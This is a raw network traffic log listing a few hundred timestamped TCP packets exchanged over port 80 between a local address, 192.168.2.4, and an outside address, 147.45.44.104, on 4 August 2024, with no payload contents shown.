Aug 4, 2024 02:21:38.097323895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097337961 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097347975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097361088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097372055 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097384930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097394943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097404003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097418070 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097433090 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097434998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097453117 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097469091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097479105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097489119 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097500086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097513914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097526073 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097536087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097546101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097560883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097572088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097579002 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097598076 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097615004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097625971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097634077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097645998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097661972 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097680092 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097683907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097702026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.097718954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.097735882 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.109472036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.109528065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.109535933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.109565973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.109570980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.109603882 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.109716892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.109750986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.109797001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.109819889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.109873056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.109880924 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.109911919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.109914064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.109954119 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.109956026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.110017061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.110878944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.110918045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.110927105 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.110956907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.110960960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.110996962 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111013889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111052036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111052990 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111090899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111092091 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111129999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111133099 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111170053 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111299038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111339092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111345053 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111380100 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111417055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111418009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111459017 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111459970 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111499071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111500025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111536980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111541033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111578941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111582994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111620903 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111713886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111752987 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111756086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111788988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111792088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111829996 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111831903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111870050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111871958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111911058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111912012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111949921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111951113 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.111987114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.111989975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112024069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112027884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112065077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112067938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112106085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112107992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112144947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112148046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112186909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112186909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112226963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112242937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112282038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112282991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112314939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112320900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112360001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112360001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112397909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112400055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112436056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112440109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112478018 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112478018 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112528086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112546921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112585068 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112587929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112624884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112627029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112663031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112667084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112703085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112705946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112745047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112782001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112792015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112819910 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112822056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112859964 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112860918 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112899065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112900972 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112938881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112943888 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.112979889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.112998009 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113033056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113049984 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113085985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113086939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113126993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113127947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113164902 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113167048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113205910 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113207102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113245010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113245010 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113282919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113285065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113323927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113325119 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113362074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113364935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113395929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113401890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113440037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113442898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113478899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113481998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113518000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113524914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113564968 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113564968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113603115 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113605976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113645077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113646030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113682985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113688946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113725901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113728046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113765001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113768101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113806963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113806963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113847017 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113847971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113883018 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.113888979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.113924980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114042997 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114080906 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114094973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114130020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114135027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114170074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114173889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114212990 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114212990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114249945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114253044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114293098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114293098 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114330053 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114332914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114371061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114373922 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114412069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114412069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114447117 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114451885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114490032 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114490986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114523888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114527941 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114566088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114567041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114603996 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114610910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114649057 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114650011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114691973 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114696026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114732981 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114738941 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114778042 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114778042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114814997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114818096 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114854097 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114861012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114896059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114901066 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114939928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.114940882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114980936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.114980936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.115015984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.115020037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.115056992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.115056992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.115092993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.115097046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.115132093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.115139008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.115176916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.141969919 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.142061949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.142110109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.142122030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.142153025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.142158985 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.142198086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.142209053 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.142246962 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.142256021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.142281055 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.142298937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.142307997 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.142313004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.142343998 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.198982954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199054003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.199057102 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199107885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.199114084 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199162006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199210882 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.199249029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199316978 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199325085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.199368000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199376106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.199412107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.199419975 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199461937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.199485064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199529886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199532986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.199577093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.199595928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199644089 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.199646950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199692011 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.199695110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199743986 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.199763060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199810028 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.199812889 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199857950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.199934006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199979067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.199986935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200022936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200026989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.200067997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200082064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.200129032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200145006 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.200192928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200192928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.200234890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200239897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.200283051 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200304031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.200351000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200351000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.200398922 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.200406075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200496912 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200557947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.200608015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.200615883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200649023 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200673103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.200720072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.200721025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200768948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.200771093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200814962 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200819016 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.200860977 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200865984 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.200907946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.200913906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.200959921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201025963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201075077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201076984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201119900 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201123953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201165915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.201170921 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201200962 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201217890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.201251030 CEST	49757	80	192.168.2.4	147.45.44.104
